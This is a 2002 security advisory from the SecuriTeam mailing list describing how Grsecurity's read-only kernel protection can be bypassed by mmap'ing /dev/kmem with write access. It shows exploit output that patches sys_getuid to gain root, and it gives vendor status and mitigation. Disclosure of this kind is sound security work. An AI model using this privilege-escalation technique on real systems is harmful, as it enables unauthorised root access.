[UNIX] Grsecurity Allows Modifying of "read-only kernel"

From: support@securiteam.com
Date: 05/18/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Sat, 18 May 2002 22:58:43 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Grsecurity Allows Modifying of "read-only kernel"
------------------------------------------------------------------------

SUMMARY

Grsecurity is the most extensive set of security patches to the 2.4 tree
of Linux kernels to date. It features ports of popular security patches
for the 2.2 tree of Linux kernels (such as Openwall), its own ACL system,
various other adapted features (such as the Trusted Path Execution and
random IP ID implementations), as well as a great deal of enhanced
auditing/logging features. A security vulnerability in the product allows
local attackers to overwrite the memory content even though protection
that should forbid this has been implemented in the product.

DETAILS

Grsecurity (and maybe other Linux hardening patches) integrates a variant
of the patch published in Phrack p58-0x07 article that is supposed to
forbid writing to /dev/mem and /dev/kmem by disabling function
do_write_mem(). This is done by activating the option "Read-only kernel"
(CONFIG_GRKERNSEC_KMEM).

"CONFIG_GRKERNSEC_KMEM
If you say Y here, root will not be able to modify the contents of kernel
memory. If module support is removed in addition to enabling this option,
the ability of an attacker to insert foreign code into a running kernel is
removed."

Unfortunately, there is another way to modify the kernel using /dev/mem or
/dev/kmem. It is possible to manipulate /dev/kmem and /dev/mem simply by
manipulating memory instead of using normal filesystem I/O calls. By
mmap'ing /dev/kmem or /dev/mem, an attacker can modify directly the
content of the running kernel without using do_write_mem(). For that,
/dev/kmem must be open in writing mode, then mmap'ed with PROT_WRITE flag
and MAP_SHARED mode.

Example:
An example of kernel modification with Grsecurity kmem read-only patch
activated and LKM supports disabled is available at the following address:
 <http://www.epita.fr:8000/~pelat_g/kmem_mmap.php>
http://www.epita.fr:8000/~pelat_g/kmem_mmap.php
This example changes sys_getuid code so that it always returns 0, using
kmem/mmap method.

test@Zaibach:~$ uname -a # kmem read-only activated and lkm disabled
Linux plop 2.4.18-grsec-1.9.4 #5 Wed Apr 10 19:32:33 CEST 2002 i686
test@Zaibach:~/ id
uid=1000(test) gid=1000(users) groups=1000(users)

Zaibach:~/kmem_mmap# ./kmem_mmap /usr/src/linux/System.map
Loading symbols from /usr/src/linux/System.map...
Opening /dev/kmem...
Reading current sys_getuid code...
b8 00 e0 ff ff 21 e0 8b 80 30 01 00 00 c3
Was expecting:
b8 00 e0 ff ff 21 e0 8b 80 30 01 00 00 c3
Replacing sys_getuid code by newcode - It may crash your kernel...
b8 00 e0 ff ff 21 e0 90 b8 00 00 00 00 c3
Done
Zaibach:~/kmem_mmap#

test@Zaibach:~/ id
uid=0(root) gid=1000(test) euid=1000(test) groups=1000(users)
test@Zaibach:~/ su
Zaibach:~/#

Vendor status:
Grsecurity development team has been contacted, CONFIG_GRKERNSEC_KMEM help
message has been modified as follow:
"CONFIG_GRKERNSEC_KMEM
If you say Y here, root will not be able to modify the contents of kernel
memory via ioctl. There are still many other methods of inserting code
into the kernel that removing module support and writing to /dev/kmem will
not stop. If you want to further restrict the actions of root, it is
recommended that you use Grsecurity's ACL system. This option is not known
to cause any software incompatibilities, therefore it is recommended that
you say Y here."

It is also possible to modify mmap_mem function in order to disallow mmap
on mem and kmem with PROT_WRITE flag. However, this causes problems with
programs like XFree86 that may need access to /dev/mem.

ADDITIONAL INFORMATION

The information has been provided by
<mailto:guillaume.pelat@intexxia.com> Guillaume PELAT.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages